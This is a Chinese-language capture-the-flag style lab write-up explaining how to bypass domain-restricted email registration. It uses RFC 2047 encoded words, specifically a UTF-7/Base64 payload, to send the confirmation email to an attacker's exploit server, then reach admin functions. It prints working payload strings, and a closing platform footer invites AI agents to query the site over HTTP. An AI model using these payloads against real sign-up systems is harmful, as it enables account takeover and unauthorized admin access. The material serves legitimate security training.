> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/business-logic/bypassing-access-controls-by-inconsistent-parsing-of-email-addresses.md).

# 通过对电子邮件地址的不一致解析绕过访问控制

### 利用电子邮件地址解析差异绕过访问控制

#### 实验描述

本实验室实现了电子邮件地址验证，以防止使用未经授权的域名进行注册。/ 但是，应用端的验证逻辑与实际用于解析电子邮件地址的库之间存在不一致。

利用这种解析差异，可以使用外部电子邮件地址注册，同时绕过对授权域名的限制，然后访问管理员功能并删除用户 **carlos**.

<figure><img src="/files/d5ebfb0b28e1db6066ea42b3dacc11f12712369c" alt=""><figcaption></figcaption></figure>

#### 注册限制

当尝试使用如下典型地址注册时：

```
test@jord4n.pro
```

应用程序拒绝注册，并指出只允许属于以下域名的地址：

```
ginandjuice.shop
```

<figure><img src="/files/dc7d93671571ce7dc652921fa252ee9265b0973f" alt=""><figcaption></figcaption></figure>

使用该域名进行合法注册后，会触发一封确认邮件：

```
请检查您的电子邮件以获取账户注册链接
```

<figure><img src="/files/2e3bdd06b330f481ea631df139ce274ee5d56583" alt=""><figcaption></figcaption></figure>

因此，需要收到这封邮件才能完成注册。

#### 漏洞成因

<figure><img src="/files/51704afd04e5664766ae71acf9d67b83395bb855" alt=""><figcaption></figcaption></figure>

该缺陷基于使用了一个 **编码字词** （RFC 2047），其格式如下：

```bash
=?<charset>?<encoding>?<encoded-text>?=
```

该机制允许对电子邮件地址的某些部分进行编码。

应用程序的验证器会拒绝某些编码，而最终的邮件解析器会正确解释它们。

#### 初始阻断

一个使用 UTF-8（quoted-printable）的简单编码尝试被 WAF 阻止：

```bash
=?utf-8?q?=61=62=63?=@ginandjuice.shop
```

答案

```bash
出于安全原因，注册被阻止
```

<figure><img src="/files/b1b2695af8f91a6ea1482fa3408d717375efa6f0" alt=""><figcaption></figcaption></figure>

#### 绕过技巧

要绕过此过滤， **使用 Base64 的 UTF-7 编码** 。

原理：

* 将一个字符编码为 UTF-16

<figure><img src="/files/7aad970b48c28eed99cd42a9b0c003b125bd47f5" alt=""><figcaption></figcaption></figure>

* 将此结果转换为 Base64

<figure><img src="/files/2a443d67fc4defa46e75acc47516f054f2409cc6" alt=""><figcaption></figcaption></figure>

* 在 UTF-7 编码字词中使用

字符编码示例 `一个`:

* UTF-16 → Base64： `AGE=`

最小可用载荷：

```bash
=?utf-7?&AGE-=?=@ginandjuice.shop
```

该值会被验证逻辑接受。

<figure><img src="/files/9aa5958fc5c1956a9a41ca7fdbf455b85ca9f1f4" alt=""><figcaption></figcaption></figure>

#### 使用受控地址的完整操作

攻击者地址：

```bash
attacker@exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net
```

载荷构造：

* `&AEA-` 表示 `@`
* `&ACA-` 表示一个空格，从而避免对最终域名进行严格解释

<figure><img src="/files/654d76f89a6c23cd1b4b95eaa825c30cc9e818e3" alt=""><figcaption></figcaption></figure>

注册时使用的最终载荷：

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash"><strong>=?utf-7?q?jordan&#x26;AEA-exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net&#x26;ACA-?=@ginandjuice.shop
</strong></code></pre>

<figure><img src="/files/fadb3fa22bb4d813b3486c007b5fe27ca13e9017" alt="" width="563"><figcaption></figcaption></figure>

邮件服务器实际解析的地址：

```bash
jordan@exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net @ginandjuice.shop
```

<figure><img src="/files/64fbcbb1399597cf496a43609dca57e5cb88a7bd" alt=""><figcaption></figcaption></figure>

#### 结果

* 应用程序验证该地址，因为它以以下内容结尾 `@ginandjuice.shop`

<figure><img src="/files/5f67e5e13184e60e5db90dc234d3f3465e57ed67" alt=""><figcaption></figcaption></figure>

* 邮件服务器将邮件发送到攻击者控制的地址
* 收到确认链接
* 注册成功完成
* 已获得对应用程序的访问权限
* 可执行管理操作，包括删除用户 **carlos**

<figure><img src="/files/dfbe735542e2bc88c69b3d6107661a303f0550ff" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/business-logic/bypassing-access-controls-by-inconsistent-parsing-of-email-addresses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
